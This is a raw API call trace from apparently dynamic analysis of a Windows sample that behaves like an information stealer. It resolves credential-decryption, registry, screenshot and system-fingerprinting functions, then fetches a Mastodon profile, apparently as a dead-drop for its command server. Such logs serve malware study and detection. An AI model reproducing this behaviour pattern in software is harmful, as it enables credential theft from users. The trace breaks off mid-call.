0x0 [0119.518] SetLastError (dwErrCode=0x0) [0119.518] GetLastError () returned 0x0 [0119.519] SetLastError (dwErrCode=0x0) [0119.519] GetLastError () returned 0x0 [0119.519] SetLastError (dwErrCode=0x0) [0119.519] GetLastError () returned 0x0 [0119.519] SetLastError (dwErrCode=0x0) [0119.519] GetLastError () returned 0x0 [0119.519] SetLastError (dwErrCode=0x0) [0119.571] Sleep (dwMilliseconds=0x6f) [0119.763] Sleep (dwMilliseconds=0x22b) [0120.401] Sleep (dwMilliseconds=0x14d) [0120.774] Sleep (dwMilliseconds=0x6f) [0120.906] Sleep (dwMilliseconds=0x22b) [0121.518] Sleep (dwMilliseconds=0x14d) [0121.900] GetUserNameA (in: lpBuffer=0x19fa58, pcbBuffer=0x19fa54 | out: lpBuffer="RDhJ0CNFevzX", pcbBuffer=0x19fa54) returned 1 [0121.934] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0x81f128 [0121.934] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0x7a0540 [0121.934] LocalAlloc (uFlags=0x40, uBytes=0x7) returned 0x79f500 [0121.934] LocalAlloc (uFlags=0x40, uBytes=0xf) returned 0x81f188 [0121.934] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x8249b8 [0121.934] LocalAlloc (uFlags=0x40, uBytes=0x6) returned 0x796420 [0121.934] LocalAlloc (uFlags=0x40, uBytes=0x88) returned 0x7a0460 [0121.934] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0x81f020 [0121.934] LocalAlloc (uFlags=0x40, uBytes=0x5) returned 0x79e3f8 [0121.934] LocalAlloc (uFlags=0x40, uBytes=0x11) returned 0x824758 [0121.934] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x8247b8 [0121.935] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0x79e000 [0121.935] LocalAlloc (uFlags=0x40, uBytes=0xc) returned 0x81f1a0 [0121.935] LocalAlloc (uFlags=0x40, uBytes=0xc) returned 0x81f278 [0121.935] LocalAlloc (uFlags=0x40, uBytes=0xb) returned 0x81f248 [0121.935] LocalAlloc (uFlags=0x40, uBytes=0x1a) returned 0x79ab38 [0121.935] LocalAlloc (uFlags=0x40, uBytes=0xd) returned 0x81f050 [0121.935] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x81f080 [0121.935] LocalAlloc (uFlags=0x40, uBytes=0xb) returned 0x81f0e0 [0121.935] LocalAlloc (uFlags=0x40, uBytes=0xe) returned 0x81f260 [0121.935] LocalAlloc (uFlags=0x40, uBytes=0xc) returned 0x81f290 [0121.935] LocalAlloc (uFlags=0x40, uBytes=0xa) returned 0x81f068 [0121.935] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x824918 [0121.935] LocalAlloc (uFlags=0x40, uBytes=0xd) returned 0x81f098 [0121.935] LocalAlloc (uFlags=0x40, uBytes=0xf) returned 0x81f2a8 [0121.935] LocalAlloc (uFlags=0x40, uBytes=0xc) returned 0x81f0b0 [0121.935] LocalAlloc (uFlags=0x40, uBytes=0xf) returned 0x81f308 [0121.935] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0x81f368 [0121.935] LocalAlloc (uFlags=0x40, uBytes=0xa) returned 0x81f320 [0121.935] LocalAlloc (uFlags=0x40, uBytes=0xe) returned 0x81f338 [0121.935] LocalAlloc (uFlags=0x40, uBytes=0x6) returned 0x7a04f0 [0121.935] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0x7a0500 [0121.935] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0x81ed78 [0121.936] LocalAlloc (uFlags=0x40, uBytes=0xb) returned 0x81f3c8 [0121.936] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0x8240f8 [0121.936] LocalAlloc (uFlags=0x40, uBytes=0xb) returned 0x81f350 [0121.936] LocalAlloc (uFlags=0x40, uBytes=0xd) returned 0x81f380 [0121.936] LocalAlloc (uFlags=0x40, uBytes=0xe) returned 0x81f398 [0121.936] LocalAlloc (uFlags=0x40, uBytes=0xb) returned 0x81f3b0 [0121.936] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0x8241b8 [0121.936] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x826528 [0121.936] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0x826708 [0121.936] LocalAlloc (uFlags=0x40, uBytes=0xf) returned 0x826660 [0121.936] LocalAlloc (uFlags=0x40, uBytes=0xa) returned 0x826690 [0121.936] LocalAlloc (uFlags=0x40, uBytes=0xf) returned 0x826750 [0121.936] LocalAlloc (uFlags=0x40, uBytes=0x11) returned 0x824938 [0121.936] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0x8240d8 [0121.936] LocalAlloc (uFlags=0x40, uBytes=0xd) returned 0x826780 [0121.936] LocalAlloc (uFlags=0x40, uBytes=0x5) returned 0x8241c8 [0121.936] LocalAlloc (uFlags=0x40, uBytes=0x3) returned 0x824118 [0121.937] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x826798 [0121.937] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0x8242a8 [0121.937] LocalAlloc (uFlags=0x40, uBytes=0x5) returned 0x824158 [0121.937] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0x824218 [0121.937] LocalAlloc (uFlags=0x40, uBytes=0x7) returned 0x824248 [0121.937] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x826600 [0121.937] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x824208 [0121.937] LocalAlloc (uFlags=0x40, uBytes=0xd) returned 0x8266f0 [0121.937] LocalAlloc (uFlags=0x40, uBytes=0xf) returned 0x826618 [0121.937] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0x8266a8 [0121.937] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x824998 [0121.937] LocalAlloc (uFlags=0x40, uBytes=0xd) returned 0x826540 [0121.937] LocalAlloc (uFlags=0x40, uBytes=0xa) returned 0x826630 [0121.937] LocalAlloc (uFlags=0x40, uBytes=0x1b) returned 0x79a9d0 [0121.937] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x79aa20 [0121.937] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0x8266d8 [0121.937] LocalAlloc (uFlags=0x40, uBytes=0x4b) returned 0x81ef20 [0121.937] LocalAlloc (uFlags=0x40, uBytes=0xd) returned 0x8264e0 [0121.937] LocalAlloc (uFlags=0x40, uBytes=0xe) returned 0x8265b8 [0121.937] LocalAlloc (uFlags=0x40, uBytes=0xe) returned 0x826768 [0121.937] LocalAlloc (uFlags=0x40, uBytes=0x12) returned 0x824778 [0121.937] LocalAlloc (uFlags=0x40, uBytes=0x12) returned 0x824958 [0121.937] LocalAlloc (uFlags=0x40, uBytes=0x5) returned 0x8241d8 [0121.938] LocalAlloc (uFlags=0x40, uBytes=0x2a) returned 0x81d7c0 [0121.938] LocalAlloc (uFlags=0x40, uBytes=0x3e) returned 0x823838 [0121.938] LocalAlloc (uFlags=0x40, uBytes=0x21) returned 0x826a30 [0121.938] LocalAlloc (uFlags=0x40, uBytes=0x60) returned 0x81f430 [0121.938] LocalAlloc (uFlags=0x40, uBytes=0x2b) returned 0x81d478 [0121.938] LocalAlloc (uFlags=0x40, uBytes=0x1c) returned 0x79ab10 [0121.938] LocalAlloc (uFlags=0x40, uBytes=0x75) returned 0x81cbb8 [0121.938] LocalAlloc (uFlags=0x40, uBytes=0xa) returned 0x826738 [0121.938] LocalAlloc (uFlags=0x40, uBytes=0x2d) returned 0x81d638 [0121.938] LocalAlloc (uFlags=0x40, uBytes=0x7) returned 0x824198 [0121.938] LocalAlloc (uFlags=0x40, uBytes=0x7) returned 0x824168 [0121.938] LocalAlloc (uFlags=0x40, uBytes=0x7) returned 0x8240e8 [0121.938] LocalAlloc (uFlags=0x40, uBytes=0x19) returned 0x827038 [0121.938] LocalAlloc (uFlags=0x40, uBytes=0x11) returned 0x8249d8 [0121.938] LocalAlloc (uFlags=0x40, uBytes=0x26) returned 0x826b80 [0121.938] LocalAlloc (uFlags=0x40, uBytes=0xb) returned 0x826720 [0121.938] LocalAlloc (uFlags=0x40, uBytes=0x7) returned 0x824108 [0121.938] LocalAlloc (uFlags=0x40, uBytes=0xb) returned 0x8267b0 [0121.938] LocalAlloc (uFlags=0x40, uBytes=0xe) returned 0x8267c8 [0121.938] LocalAlloc (uFlags=0x40, uBytes=0x17) returned 0x8248b8 [0121.938] LocalAlloc (uFlags=0x40, uBytes=0x2b) returned 0x827990 [0121.938] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0x824148 [0121.938] LocalAlloc (uFlags=0x40, uBytes=0xd) returned 0x8264f8 [0121.938] LocalAlloc (uFlags=0x40, uBytes=0xc) returned 0x826570 [0121.938] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0x8265a0 [0121.938] LocalAlloc (uFlags=0x40, uBytes=0x1a) returned 0x826f20 [0121.938] LocalAlloc (uFlags=0x40, uBytes=0x12) returned 0x8247f8 [0121.938] LocalAlloc (uFlags=0x40, uBytes=0x19) returned 0x826de0 [0121.939] LocalAlloc (uFlags=0x40, uBytes=0xa) returned 0x826510 [0121.939] LocalAlloc (uFlags=0x40, uBytes=0x2b) returned 0x827840 [0121.939] LocalAlloc (uFlags=0x40, uBytes=0x5) returned 0x8241e8 [0121.939] LocalAlloc (uFlags=0x40, uBytes=0x2a) returned 0x827958 [0121.939] LocalAlloc (uFlags=0x40, uBytes=0xc) returned 0x826558 [0121.939] LocalAlloc (uFlags=0x40, uBytes=0x15) returned 0x824798 [0121.939] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x824a18 [0121.939] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0x826588 [0121.939] LocalAlloc (uFlags=0x40, uBytes=0x1b) returned 0x827178 [0121.939] LocalAlloc (uFlags=0x40, uBytes=0xa) returned 0x8265d0 [0121.939] LocalAlloc (uFlags=0x40, uBytes=0x2b) returned 0x8279c8 [0121.939] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x8265e8 [0121.939] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x824838 [0121.939] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x826648 [0121.939] LocalAlloc (uFlags=0x40, uBytes=0x21) returned 0x826910 [0121.939] LocalAlloc (uFlags=0x40, uBytes=0xa) returned 0x826678 [0121.939] LocalAlloc (uFlags=0x40, uBytes=0x2a) returned 0x827568 [0121.939] LocalAlloc (uFlags=0x40, uBytes=0x7) returned 0x8241a8 [0121.940] LocalAlloc (uFlags=0x40, uBytes=0x1a) returned 0x827128 [0121.940] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x8266c0 [0121.940] LocalAlloc (uFlags=0x40, uBytes=0xb) returned 0x826870 [0121.940] LocalAlloc (uFlags=0x40, uBytes=0xe) returned 0x826840 [0121.940] LocalAlloc (uFlags=0x40, uBytes=0x1a) returned 0x826ef8 [0121.940] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x826858 [0121.940] LocalAlloc (uFlags=0x40, uBytes=0x15) returned 0x824698 [0121.940] LocalAlloc (uFlags=0x40, uBytes=0x7) returned 0x824258 [0121.940] LocalAlloc (uFlags=0x40, uBytes=0x13) returned 0x824978 [0121.940] LocalAlloc (uFlags=0x40, uBytes=0x6) returned 0x824228 [0121.940] LocalAlloc (uFlags=0x40, uBytes=0x12) returned 0x824a38 [0121.940] LocalAlloc (uFlags=0x40, uBytes=0x6) returned 0x824128 [0121.940] LocalAlloc (uFlags=0x40, uBytes=0x12) returned 0x824a58 [0121.940] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0x824238 [0121.940] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x8247d8 [0121.940] LocalAlloc (uFlags=0x40, uBytes=0xe) returned 0x8268a0 [0121.940] LocalAlloc (uFlags=0x40, uBytes=0x1a) returned 0x827060 [0121.940] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x8267e0 [0121.941] LocalAlloc (uFlags=0x40, uBytes=0x15) returned 0x824678 [0121.941] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x826888 [0121.941] LocalAlloc (uFlags=0x40, uBytes=0x11) returned 0x8246b8 [0121.941] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0x8241f8 [0121.941] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x8246d8 [0121.941] LocalAlloc (uFlags=0x40, uBytes=0x15) returned 0x8246f8 [0121.941] LocalAlloc (uFlags=0x40, uBytes=0x21) returned 0x826af0 [0121.941] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0x824188 [0121.941] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x824858 [0121.941] LocalAlloc (uFlags=0x40, uBytes=0x7) returned 0x824268 [0121.941] LocalAlloc (uFlags=0x40, uBytes=0x1b) returned 0x826d68 [0121.941] LocalAlloc (uFlags=0x40, uBytes=0x5) returned 0x824278 [0121.941] LocalAlloc (uFlags=0x40, uBytes=0x1b) returned 0x826f48 [0121.941] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x8267f8 [0121.941] LocalAlloc (uFlags=0x40, uBytes=0x15) returned 0x824718 [0121.941] LocalAlloc (uFlags=0x40, uBytes=0xd) returned 0x826810 [0121.941] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x824738 [0121.941] LocalAlloc (uFlags=0x40, uBytes=0x11) returned 0x824878 [0121.941] LocalAlloc (uFlags=0x40, uBytes=0x1d) returned 0x826f70 [0121.941] LocalAlloc (uFlags=0x40, uBytes=0xf) returned 0x826828 [0121.941] LocalAlloc (uFlags=0x40, uBytes=0x11) returned 0x824bf8 [0121.941] LocalAlloc (uFlags=0x40, uBytes=0xe) returned 0x827f58 [0121.942] LocalAlloc (uFlags=0x40, uBytes=0x12) returned 0x824b78 [0121.942] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0x827d18 [0121.942] LocalAlloc (uFlags=0x40, uBytes=0x1d) returned 0x826d40 [0121.942] LocalAlloc (uFlags=0x40, uBytes=0xf) returned 0x827d48 [0121.942] LocalAlloc (uFlags=0x40, uBytes=0x13) returned 0x824db8 [0121.948] LocalAlloc (uFlags=0x40, uBytes=0x6) returned 0x824288 [0121.948] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0x824298 [0121.949] LocalAlloc (uFlags=0x40, uBytes=0x6) returned 0x824138 [0121.949] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x824d58 [0121.949] LocalAlloc (uFlags=0x40, uBytes=0xf) returned 0x827dc0 [0121.949] LocalAlloc (uFlags=0x40, uBytes=0x1b) returned 0x826d18 [0121.949] LocalAlloc (uFlags=0x40, uBytes=0xc) returned 0x827fb8 [0121.949] LocalAlloc (uFlags=0x40, uBytes=0x1f) returned 0x826d90 [0121.949] LocalAlloc (uFlags=0x40, uBytes=0xa) returned 0x827ee0 [0121.949] LocalAlloc (uFlags=0x40, uBytes=0x1e) returned 0x8271c8 [0121.949] LocalAlloc (uFlags=0x40, uBytes=0x6) returned 0x824178 [0121.949] LocalAlloc (uFlags=0x40, uBytes=0x1e) returned 0x826e30 [0121.949] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0x8288b8 [0121.949] LocalAlloc (uFlags=0x40, uBytes=0x21) returned 0x826940 [0121.949] LocalAlloc (uFlags=0x40, uBytes=0xc) returned 0x827dd8 [0121.949] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0x828858 [0121.949] LocalAlloc (uFlags=0x40, uBytes=0xa) returned 0x827da8 [0121.949] LocalAlloc (uFlags=0x40, uBytes=0x5) returned 0x828778 [0121.949] LocalAlloc (uFlags=0x40, uBytes=0x6) returned 0x828808 [0121.949] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x8271a0 [0121.949] LocalAlloc (uFlags=0x40, uBytes=0x17) returned 0x824c58 [0121.949] LocalAlloc (uFlags=0x40, uBytes=0x50) returned 0x81ef78 [0121.949] LocalAlloc (uFlags=0x40, uBytes=0x19) returned 0x826db8 [0121.949] LocalAlloc (uFlags=0x40, uBytes=0xf) returned 0x827ec8 [0121.950] LocalAlloc (uFlags=0x40, uBytes=0xe) returned 0x827ef8 [0121.950] LocalAlloc (uFlags=0x40, uBytes=0xa) returned 0x827f10 [0121.950] LocalAlloc (uFlags=0x40, uBytes=0xd) returned 0x827eb0 [0121.950] LocalAlloc (uFlags=0x40, uBytes=0xd) returned 0x827f28 [0121.950] LocalAlloc (uFlags=0x40, uBytes=0xf) returned 0x827f40 [0121.950] LocalAlloc (uFlags=0x40, uBytes=0xb) returned 0x827f70 [0121.950] LocalAlloc (uFlags=0x40, uBytes=0x1d) returned 0x8270b0 [0121.950] LocalAlloc (uFlags=0x40, uBytes=0x11) returned 0x824ad8 [0121.950] LocalAlloc (uFlags=0x40, uBytes=0x1c) returned 0x826e58 [0121.950] LocalAlloc (uFlags=0x40, uBytes=0x12) returned 0x824cb8 [0121.950] LocalAlloc (uFlags=0x40, uBytes=0x1b) returned 0x826ed0 [0121.950] LocalAlloc (uFlags=0x40, uBytes=0xe) returned 0x827f88 [0121.950] LocalAlloc (uFlags=0x40, uBytes=0xc) returned 0x827fa0 [0121.950] LocalAlloc (uFlags=0x40, uBytes=0x13) returned 0x824c78 [0121.950] LocalAlloc (uFlags=0x40, uBytes=0x15) returned 0x824c18 [0121.950] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x824cf8 [0121.950] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x827df0 [0121.950] LocalAlloc (uFlags=0x40, uBytes=0xd) returned 0x827fd0 [0121.950] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x824c38 [0121.950] LocalAlloc (uFlags=0x40, uBytes=0xe) returned 0x827fe8 [0121.951] LocalAlloc (uFlags=0x40, uBytes=0x12) returned 0x824c98 [0121.951] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0x827d00 [0121.951] LocalAlloc (uFlags=0x40, uBytes=0xd) returned 0x827e08 [0121.951] LocalAlloc (uFlags=0x40, uBytes=0xe) returned 0x827d30 [0121.951] LocalAlloc (uFlags=0x40, uBytes=0x11) returned 0x824b98 [0121.951] LocalAlloc (uFlags=0x40, uBytes=0xc) returned 0x827d90 [0121.951] LocalAlloc (uFlags=0x40, uBytes=0xe) returned 0x827e38 [0121.951] LocalAlloc (uFlags=0x40, uBytes=0xd) returned 0x827e20 [0121.951] LocalAlloc (uFlags=0x40, uBytes=0xe) returned 0x827d60 [0121.951] LocalAlloc (uFlags=0x40, uBytes=0xd) returned 0x827e50 [0121.951] LocalAlloc (uFlags=0x40, uBytes=0xd) returned 0x827d78 [0121.951] LocalAlloc (uFlags=0x40, uBytes=0x15) returned 0x824cd8 [0121.951] LocalAlloc (uFlags=0x40, uBytes=0xc) returned 0x827e68 [0121.951] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x824bb8 [0121.951] LocalAlloc (uFlags=0x40, uBytes=0x11) returned 0x824a98 [0121.951] LocalAlloc (uFlags=0x40, uBytes=0x11) returned 0x824b58 [0121.951] LocalAlloc (uFlags=0x40, uBytes=0x11) returned 0x824d18 [0121.951] LocalAlloc (uFlags=0x40, uBytes=0x11) returned 0x824d38 [0121.951] LocalAlloc (uFlags=0x40, uBytes=0xe) returned 0x827e80 [0121.951] LocalAlloc (uFlags=0x40, uBytes=0x17) returned 0x824d78 [0121.951] LocalAlloc (uFlags=0x40, uBytes=0xf) returned 0x827e98 [0121.951] LocalAlloc (uFlags=0x40, uBytes=0x17) returned 0x824bd8 [0121.951] LocalAlloc (uFlags=0x40, uBytes=0x11) returned 0x824d98 [0121.952] LocalAlloc (uFlags=0x40, uBytes=0x13) returned 0x824b18 [0121.952] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x8281c8 [0121.952] LocalAlloc (uFlags=0x40, uBytes=0x43) returned 0x81f498 [0121.952] LocalAlloc (uFlags=0x40, uBytes=0x42) returned 0x81d820 [0121.952] LocalAlloc (uFlags=0x40, uBytes=0x3b) returned 0x823910 [0121.952] LocalAlloc (uFlags=0x40, uBytes=0x3a) returned 0x823a78 [0121.952] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x828198 [0121.952] LocalAlloc (uFlags=0x40, uBytes=0x43) returned 0x81d870 [0121.952] LocalAlloc (uFlags=0x40, uBytes=0x42) returned 0x81d8c0 [0121.952] LocalAlloc (uFlags=0x40, uBytes=0x3b) returned 0x823880 [0121.952] LocalAlloc (uFlags=0x40, uBytes=0x3a) returned 0x823d48 [0121.952] LocalAlloc (uFlags=0x40, uBytes=0x13) returned 0x824df8 [0121.952] LocalAlloc (uFlags=0x40, uBytes=0x43) returned 0x81eab0 [0121.952] LocalAlloc (uFlags=0x40, uBytes=0x42) returned 0x828e58 [0122.011] LocalAlloc (uFlags=0x40, uBytes=0x3b) returned 0x823958 [0122.011] LocalAlloc (uFlags=0x40, uBytes=0x3a) returned 0x823cb8 [0122.011] LocalAlloc (uFlags=0x40, uBytes=0xe) returned 0x8282a0 [0122.011] LocalAlloc (uFlags=0x40, uBytes=0x43) returned 0x828d68 [0122.016] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x74650000 [0122.017] GetProcAddress (hModule=0x74650000, lpProcName="LoadLibraryA") returned 0x74674bf0 [0122.017] GetProcAddress (hModule=0x74650000, lpProcName="GetProcAddress") returned 0x746678b0 [0122.017] LoadLibraryA (lpLibFileName="BCRYPT.DLL") returned 0x742c0000 [0122.308] LoadLibraryA (lpLibFileName="CRYPT32.DLL") returned 0x749d0000 [0123.224] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x77820000 [0123.224] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x70830000 [0123.225] LoadLibraryA (lpLibFileName="gdi32.dll") returned 0x758f0000 [0123.225] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x75160000 [0125.905] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74790000 [0125.906] GetProcAddress (hModule=0x742c0000, lpProcName="BCryptCloseAlgorithmProvider") returned 0x742c3c50 [0125.906] GetProcAddress (hModule=0x742c0000, lpProcName="BCryptDestroyKey") returned 0x742c6420 [0125.906] GetProcAddress (hModule=0x742c0000, lpProcName="BCryptOpenAlgorithmProvider") returned 0x742c3760 [0125.906] GetProcAddress (hModule=0x742c0000, lpProcName="BCryptSetProperty") returned 0x742c47e0 [0125.906] GetProcAddress (hModule=0x742c0000, lpProcName="BCryptGenerateSymmetricKey") returned 0x742c4910 [0125.906] GetProcAddress (hModule=0x742c0000, lpProcName="BCryptDecrypt") returned 0x742c4ff0 [0125.907] GetProcAddress (hModule=0x749d0000, lpProcName="CryptUnprotectData") returned 0x749f3140 [0125.907] GetProcAddress (hModule=0x749d0000, lpProcName="CryptStringToBinaryA") returned 0x749ed6d0 [0125.907] GetProcAddress (hModule=0x77820000, lpProcName="RegOpenKeyExA") returned 0x7783f790 [0125.907] GetProcAddress (hModule=0x77820000, lpProcName="RegQueryValueExA") returned 0x7783f500 [0125.907] GetProcAddress (hModule=0x77820000, lpProcName="RegCloseKey") returned 0x7783f620 [0125.907] GetProcAddress (hModule=0x77820000, lpProcName="RegOpenKeyExW") returned 0x7783f350 [0125.907] GetProcAddress (hModule=0x77820000, lpProcName="RegGetValueW") returned 0x77840670 [0125.908] GetProcAddress (hModule=0x77820000, lpProcName="RegEnumKeyExA") returned 0x77841810 [0125.908] GetProcAddress (hModule=0x77820000, lpProcName="RegGetValueA") returned 0x77841060 [0125.908] GetProcAddress (hModule=0x77820000, lpProcName="GetUserNameA") returned 0x77842910 [0125.908] GetProcAddress (hModule=0x77820000, lpProcName="GetCurrentHwProfileA") returned 0x77853a60 [0125.908] GetProcAddress (hModule=0x70830000, lpProcName="InternetCloseHandle") returned 0x708fd200 [0125.908] GetProcAddress (hModule=0x70830000, lpProcName="InternetReadFile") returned 0x708b7320 [0125.909] GetProcAddress (hModule=0x70830000, lpProcName="HttpSendRequestA") returned 0x708f8e60 [0125.909] GetProcAddress (hModule=0x70830000, lpProcName="HttpOpenRequestA") returned 0x70995860 [0125.909] GetProcAddress (hModule=0x70830000, lpProcName="InternetConnectA") returned 0x70970da0 [0125.909] GetProcAddress (hModule=0x70830000, lpProcName="InternetOpenA") returned 0x708f85d0 [0125.909] GetProcAddress (hModule=0x70830000, lpProcName="HttpAddRequestHeadersA") returned 0x708ac3f0 [0125.909] GetProcAddress (hModule=0x70830000, lpProcName="HttpQueryInfoA") returned 0x708d1880 [0125.909] GetProcAddress (hModule=0x70830000, lpProcName="InternetSetFilePointer") returned 0x709710c0 [0125.909] GetProcAddress (hModule=0x70830000, lpProcName="InternetOpenUrlA") returned 0x7087a6c0 [0125.910] GetProcAddress (hModule=0x70830000, lpProcName="InternetSetOptionA") returned 0x708d1dc0 [0125.910] GetProcAddress (hModule=0x758f0000, lpProcName="CreateCompatibleBitmap") returned 0x745a0830 [0125.910] GetProcAddress (hModule=0x758f0000, lpProcName="SelectObject") returned 0x75970440 [0125.910] GetProcAddress (hModule=0x758f0000, lpProcName="BitBlt") returned 0x745a09b0 [0125.910] GetProcAddress (hModule=0x758f0000, lpProcName="DeleteObject") returned 0x75970810 [0125.910] GetProcAddress (hModule=0x758f0000, lpProcName="CreateDCA") returned 0x745a1e00 [0125.910] GetProcAddress (hModule=0x758f0000, lpProcName="GetDeviceCaps") returned 0x745a0700 [0125.911] GetProcAddress (hModule=0x758f0000, lpProcName="CreateCompatibleDC") returned 0x745a0970 [0125.911] GetProcAddress (hModule=0x75160000, lpProcName="CoCreateInstance") returned 0x75530060 [0125.911] GetProcAddress (hModule=0x75160000, lpProcName="CoUninitialize") returned 0x755092a0 [0125.911] GetProcAddress (hModule=0x74790000, lpProcName="GetDesktopWindow") returned 0x747a3470 [0125.912] GetProcAddress (hModule=0x74790000, lpProcName="ReleaseDC") returned 0x7459a580 [0125.912] GetProcAddress (hModule=0x74790000, lpProcName="GetKeyboardLayoutList") returned 0x747c8e70 [0125.912] GetProcAddress (hModule=0x74790000, lpProcName="CharToOemA") returned 0x74812cf0 [0125.912] GetProcAddress (hModule=0x74790000, lpProcName="GetDC") returned 0x7459a680 [0125.912] GetProcAddress (hModule=0x74790000, lpProcName="wsprintfA") returned 0x747c04a0 [0125.913] GetProcAddress (hModule=0x74790000, lpProcName="EnumDisplayDevicesA") returned 0x745a1eb0 [0125.913] GetProcAddress (hModule=0x74790000, lpProcName="GetSystemMetrics") returned 0x747a9160 [0125.923] DeleteUrlCacheEntryA (lpszUrlName="mas.to") returned 0 [0129.684] DeleteUrlCacheEntryA (lpszUrlName="mas.to@killern0") returned 0 [0129.694] InternetOpenA (lpszAgent="", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0131.716] InternetConnectA (hInternet=0xcc0004, lpszServerName="mas.to", nServerPort=0x1bb, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x4800000, dwContext=0x0) returned 0xcc0008 [0131.717] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="GET", lpszObjectName="@killern0", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x4800000, dwContext=0x0) returned 0xcc000c [0131.719] HttpSendRequestA (hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0) returned 1 [0138.823] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19eef8, dwNumberOfBytesToRead=0x7ff, lpdwNumberOfBytesRead=0x19eed8 | out: lpBuffer=0x19eef8*, lpdwNumberOfBytesRead=0x19eed8*=0x7ff) returned 1 [0138.823] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0138.827] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0138.827] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0138.846] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x800) returned 0x2362758 [0138.868] GetLastError () returned 0x0 [0138.869] SetLastError (dwErrCode=0x0) [0138.869] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362758 | out: hHeap=0x2360000) returned 1 [0138.873] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x2360fd0 [0138.873] Sleep (dwMilliseconds=0x64) [0139.053] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x19f75c | out: lpSystemTimeAsFileTime=0x19f75c*(dwLowDateTime=0x49ed6c6d, dwHighDateTime=0x1d7b434)) [0139.065] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2) returned 0x2361008 [0139.065] GetTickCount () returned 0x15b38da [0139.065] GetLastError () returned 0x0 [0139.065] SetLastError (dwErrCode=0x0) [0139.065] GetLastError () returned 0x0 [0139.065] SetLastError (dwErrCode=0x0) [0139.071] GetLastError () returned 0x0 [0139.071] SetLastError (dwErrCode=0x0) [0139.071] GetLastError () returned 0x0 [0139.071] SetLastError (dwErrCode=0x0) [0139.071] GetLastError () returned 0x0 [0139.071] SetLastError (dwErrCode=0x0) [0139.072] GetLastError () returned 0x0 [0139.072] SetLastError (dwErrCode=0x0) [0139.072] GetLastError () returned 0x0 [0139.072] SetLastError (dwErrCode=0x0) [0139.072] GetLastError () returned 0x0 [0139.072] SetLastError (dwErrCode=0x0) [0139.072] GetLastError () returned 0x0 [0139.072] SetLastError (dwErrCode=0x0) [0139.072] GetLastError () returned 0x0 [0139.072] SetLastError (dwErrCode=0x0) [0139.072] GetLastError () returned 0x0 [0139.072] SetLastError (dwErrCode=0x0) [0139.072] 